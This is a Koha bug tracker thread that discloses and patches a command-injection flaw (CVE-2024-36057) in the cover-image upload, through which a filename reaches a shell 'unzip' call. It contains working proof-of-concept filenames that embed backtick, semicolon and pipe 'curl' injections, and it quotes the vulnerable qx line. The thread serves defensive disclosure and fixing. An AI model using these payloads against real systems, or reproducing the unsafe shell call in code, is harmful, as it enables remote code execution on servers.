Bug 36818

Thanks heaps for the report Karolis. We'll work on a fix now.

Working on this now

The problem here comes in upload-file.pl. The coverimage one just grabs the file that has already been uploaded. It's the same with patron images.

So if we fix writing the filename correctly in upload-file.pl we should be able to fix it in the places where its processed.

Created attachment 166444 [details]
Bug: 36818  Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Please if people want to escape more characters add to the regexp. But this will stop the backticks making things executable at least.

Thanks for looking into this - I have requested a CVE ID for this. I'll be happy to re-test this issue and be kept in the loop. I may also have additional security vulnerabilities to report.

Also - just wanted to add that only sanitising backticks (`) will not resolve the vulnerability. I have been able to get RCE with the below filenames too:

filename=";curl domain.com"

filename="|curl domain.com"

Semicolons (;) and pipes (|) can also be leveraged for command injection.

Yep ill do a new patch that allowlists instead of stripping bad.

Created attachment 166477 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

The content of attachment 166444 [details] has been deleted

This looks like a decent approach to me, I'll do some testing today.

Any update on this ?

(In reply to Karolis Narvilas from comment #12)
> Any update on this ?

I've posted it in our internal security group. Hope we can get a SO and QA for it soon.

Created attachment 166621 [details]
Bug: 36818 Escape characters in file names uploaded


To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works


Work as suggested

Created attachment 166623 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works



Works as suggested

Created attachment 166624 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Passing QA here.. all working as I'd expect, no regressions spotted.

Does it make sense to have the decode and the substitution right after?

     $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
+    $filename =~ s/[^A-Za-z0-9\-\.]//g;

Also I think we should provide tests for this kind of changes.

Marcel, can we have your input on this please?

(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;
> 
> Also I think we should provide tests for this kind of changes.
> 
> Marcel, can we have your input on this please?

Will have a look

Did someone already identify the exact place where the code is actually executed?

(In reply to Marcel de Rooy from comment #20)
> Did someone already identify the exact place where the code is actually
> executed?

Reading about unzip now.

============================================

Line 142 - upload-cover-image.pl

qx/unzip $filename -d $dirname/;

============================================

Once you inject system commands in the filename and click "Process Images"

E.g Filename=dummy`curl domain.com`.zip

The OS will attempt to execute:

qx/unzip dummy`curl domain.com`.zip -d $dirname/;

Commands between backticks will get executed in the backend when unzipping.

(In reply to Karolis Narvilas from comment #22)
> ============================================
> 
> Line 142 - upload-cover-image.pl
> 
> qx/unzip $filename -d $dirname/;
> 
> ============================================
> 
> Once you inject system commands in the filename and click "Process Images"
> 
> E.g Filename=dummy`curl domain.com`.zip
> 
> The OS will attempt to execute:
> 
> qx/unzip dummy`curl domain.com`.zip -d $dirname/;
> 
> Commands between backticks will get executed in the backend when unzipping.

Ah yes. Thanks. Just came across the qx thing.

(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;

I understand the question. We could remove a lot of the decode right after. But decoding before further processing seems to be the correct order formally.

> Also I think we should provide tests for this kind of changes.

Tests would be fine of course. But we should not wait too long here. I would push now, not missing a release.

Fixed the patch title.

Hi all -

This issue has just been assigned CVE-2024-36057 by CVE MITRE - if possible, please reference this ID in the next release announcement (assuming this issue is fixed in that release)

Many thanks - let me know if you have any questions :)

Should we generalize the bug description a bit since we now fixed the issue on a higher level (not in the .pl file mentioned)?

(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;
> 
> Also I think we should provide tests for this kind of changes.
> 
> Marcel, can we have your input on this please?

It looks to me like this patch doesn't include underscores and a number of characters as valid filenames. 

Trying to sanitize filenames can be tricky.

--

In bug 34349, we first take the user-inputted string and validate it. Of course sometimes a string that is valid in an application can still be a malicious string in the shell. 

So we wrap the final string in single quotes and escape any single quotes in the string. I think that would be the safest from a security perspective while also allowing the full range of acceptable filenames for the OS.

(In reply to David Cook from comment #28)
> It looks to me like this patch doesn't include underscores and a number of
> characters as valid filenames. 
> 
> Trying to sanitize filenames can be tricky.

Disregard this part of my comment. I see that we're doing a s// and not a m//. Nevermind. That's fine. A bit suboptimal but it won't cause silent errors. It'll move us farther along.

--

I'd still suggest escaping the string passed to unzip just to be on the safe side, but that could be on a separate issue...

Thanks - is there an approximate timeline for when these fixes will be published ?

(In reply to Karolis Narvilas from comment #30)
> Thanks - is there an approximate timeline for when these fixes will be
> published ?

Karolis, very soon. The release team is currently coordinating a security release that will include this fix in versions 24.05.01, 23.11.06, 23.05.12 ,22.11.18 ,22.05.22. Those versions, and packages for them, will be available in a few days.

Missed the wrong commit message... Bug: ...

Pushed for 24.11!
Well done everyone, thank you!

Reviewed and nothing to document for the manual.